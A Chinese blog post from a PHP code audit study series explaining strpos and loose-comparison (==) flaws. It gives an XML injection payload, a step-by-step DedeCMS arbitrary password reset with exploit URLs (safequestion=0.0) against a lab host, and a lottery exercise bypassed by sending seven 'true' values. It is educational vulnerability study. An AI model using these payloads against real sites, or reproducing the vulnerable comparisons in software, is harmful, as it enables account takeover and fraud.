文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-14   1.6k

PHP代码审计学习Day4——strpos函数缺陷

0x01 False Beard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);

这段程序使用格式化字符串的方式,用XML结构存储用户的登录信息,这种情况容易造成XML注入。第8行和第9行使用了strpos函数来防止用户输入的参数包含< >这个两个符号。先来看看strpos函数的定义:

在这道题目中,开发者只考虑到 strpos 函数返回 false 的情况,却忽略了匹配到的字符在首位时会返回 0 的情况,因为 false0 的取反均为 true,这样就可以通过闭合"的方式来注入XML。Payload如下:

1
username="/><injected-tag%20property="&password=<injected-tag>

但是这段代码SimpleXMLElement并没有指定LIBXML_NOENT参数,从而不能读取外部实体,不知道在这个地方这样的XML注入能有什么危害。

0x02 实例分析

漏洞利用

首先在后台开启会员功能:

注册两个会员,并且不能设置密保问题

在登录账号test1的情况下访问下面链接:

1
http://test.com/PHP-Audit-Labs/Day4/dedecmsmember/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3

burp抓包重放:

然后带着id与key访问:

1
http://test.com/PHP-Audit-Labs/Day4/dedecms/member/resetpassword.php?dopost=getpasswd&id=3&key=PFhZR7Go

自动填充了test2,那么我们就可以任意用户密码重置。

代码分析

根据漏洞url定位到member\resetpassword.phpsafequestion操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
//$row['safequestion']:"0" $row['safeanswer']:''
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}

}

这里先根据传入的id参数查询对应用户的密保问题答案userid邮箱等信息,接着下面进行判断,如果传入的$safequestion$safeanswer非空且与之前设置的相等,就进入sn()函数操作 它这里用的是 == 而非 === 来判断,所以这里是可以绕过的:

那么这里我们就可以用safequestion=0.0&safeanswer=即可使$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)为true,进入sn()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}

这里代码逻辑是先根据iddede_pwd_tmp数据表中判断是否有对应的密码记录,若账号为第一次修改密码,这里的$row就会空,进入newmail()函数,执行insert()操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#uploads\member\resetpassword.php 73行
function newmail($mid, $userid, $mailto, $type, $send)
{
...
$randval = random(8);
...
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
...
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
}
}
else
{
}
}

先生成一个8位的随机密码并赋值给$randval,然后将其用md5加密,存储到dede__pwd_tmp表中,接着到了漏洞的触发点,进入$send == 'N'的操作,将未经md5加密的$randval传给了用户。

那么这里拼接的url就为:

1
http://test.com/PHP-Audit-Labs/Day4/dedecms/member/resetpassword.php?dopost=getpasswd&id=3&key=PFhZR7Go

继续跟进dopost=getpasswd的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
else if($dopost == "getpasswd")
{
//修改密码
if(empty($id))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起,临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;

$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起,新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起,临时密码错误', '-1');
exit;
}
}

这里先判断id是否执行过重置密码的操作如果没有则退出,接着进入了empty($setp)的操作,判断是否超过修改期限,最后包含了resetpassword2.htm

页面设置了setp为2,进入$setp == 2的操作,这里判断了$sndede_pwd_tmppwd值($key)是否相等,因为
$sn=md5($randval)=$row['pwd'],这样就可以重置密码了。

0x03 练习题

题目链接: https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ 密码: 59t2

这道题之前做过,问题出现在api.php中的buy函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
......
}

关键点在第10行代码,它使用==进行比较,而语言定义,除了 0、false、null 以外均为 true ,所以使用 true 和数字进行比较,返回的值肯定是 true,所以我们抓包修改数据提交7个true,如下图:

Copyright © ca01h 2019-2020 | 本站总访问量